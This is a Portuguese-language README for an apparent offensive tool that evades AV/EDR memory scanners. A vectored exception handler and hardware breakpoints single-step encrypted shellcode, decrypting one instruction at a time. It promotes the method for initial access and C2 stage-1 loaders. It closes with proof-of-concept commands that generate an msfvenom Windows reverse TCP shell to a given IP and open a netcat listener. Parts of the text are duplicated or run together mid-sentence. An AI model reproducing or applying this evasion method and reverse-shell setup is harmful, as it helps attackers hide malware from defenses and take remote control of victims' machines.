
Uma técnica que pode ser usada para contornar scanners de memória de AV/EDR. Pode ser usada para ocultar shellcodes bem conhecidos e detectados (como os do msfvenom) ao realizar descriptografia em tempo real de instruções de assembly individuais criptografadas, tornando assim os scanners de memória inúteis para essa página de memória específica.
Uma técnica que pode ser usada para contornar scanners de memória AV/EDR. Ela pode ser usada para ocultar shellcodes bem conhecidos e detectados (como msfvenom) realizando descriptografia em tempo real de instruções de assembly individuais criptografadas, tornando assim os scanners de memória inúteis para aquela página de memória específica.
Esta técnica criará uma região de memória PAGE_EXECUTE_READWRITE onde as instruções de assembly criptografadas serão armazenadas. O shellcode será envolvido com algum padding. O programa definirá um Hardware Breakpoint (HWBP) no ponto de entrada do shellcode.
Em seguida, o programa instalará um Vectored Exception Handler (VEH). Este VEH basicamente atuará como um debugger, executando o código passo a passo (single-step), lendo o registrador de ponteiro de instrução (RIP) para cada exceção recebida pelo VEH, e descriptografando os próximos 16 bytes (tamanho máximo de uma instrução de assembly x64) para onde RIP aponta. O VEH também criptografa novamente a instrução anteriormente descriptografada, garantindo que o restante do shellcode permaneça sempre criptografado, com exceção da única instrução de assembly atualmente em execução. Depois disso, ele continuará a execução, com a configurada no registrador Eflags. Isso garantirá que a próxima instrução de assembly também acione uma exceção de breakpoint que o VEH possa tratar.
SINGLE STEPTRAP FLAGApós a instalação do VEH, a execução da thread principal será redirecionada para o ponto de entrada do payload. Quando a HWBP for acionada no ponto de entrada, o VEH parará em cada instrução de assembly executada, realizará a descriptografia da próxima instrução de assembly e criptografará a instrução anteriormente descriptografada, que é salva como uma variável global.
Com isso, basicamente uma única instrução de assembly é descriptografada por vez, com o restante do payload permanecendo criptografado.
NOTA: Esta técnica é ideal para obter um acesso inicial usando um shellcode básico, como msfvenom ou shells reversos personalizados. Ela também pode ser usada como um payload de estágio 1 inicial que baixa o restante do payload do servidor C2.
NOTA: Esta técnica não é compatível com todos os payloads (como reflective loaders). Abaixo está uma lista das limitações atuais:
VEH será acionado para CADA INSTRUÇÃO DE ASSEMBLY executada no shellcode, a velocidade de execução do shellcode será drasticamente reduzida. Para cada instrução de assembly que a CPU executa, o VEH executará pelo menos mais 300 instruções ASM para realizar a descriptografia, criptografia e restaurar a execução para a thread principal. Se o shellcode em questão for otimizado para tamanho menor em vez de desempenho (como o msfvenom), a execução do payload será mais lenta. Pode levar mais de 15 segundos (dependendo da CPU) para executar um MSFVENOM. Isso acontece porque o shellcode específico usado pelo msfvenom sacrifica desempenho para obter um tamanho menor de payload.NtCreateThread ou qualquer um de seus wrappers em Kernelbase.dll com o ponto de entrada dentro do shellcode, o payload não funcionará, pois o VEH não será acionado para a execução dessa thread, já que não há HWBP instalada no ponto de entrada da thread recém-criada. (Trabalho em andamento - será implementado mais adiante neste repositório)valores/variáveis armazenados dentro dele (por exemplo, ter a string bruta "powershell.exe" que é referenciada via um offset em uma chamada para WinExec WINAPI) ou algum número salvo em um offset, e o shellcode depois tentar carregar ou referenciá-lo em algum lugar, o programa não funcionará, pois a variável ou string específica será criptografada e o VEH não a descriptografa. Se o shellcode empurrar tais argumentos para a pilha via instruções de assembly (push 0x4141414141414141 para colocar "AAAAAAAA" na pilha para ser usado em uma chamada a uma função), esta técnica funcionará. (Trabalho em andamento - será implementado mais adiante neste repositório)Como reproduzir o POC:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.100.33 LPORT=443 -f raw > shell.asm
./XorEncryptPayload.exe C:\Path\to\shell.asm
nc -nvlp 443

Este repositório é para fins acadêmicos, o uso deste software é de sua responsabilidade.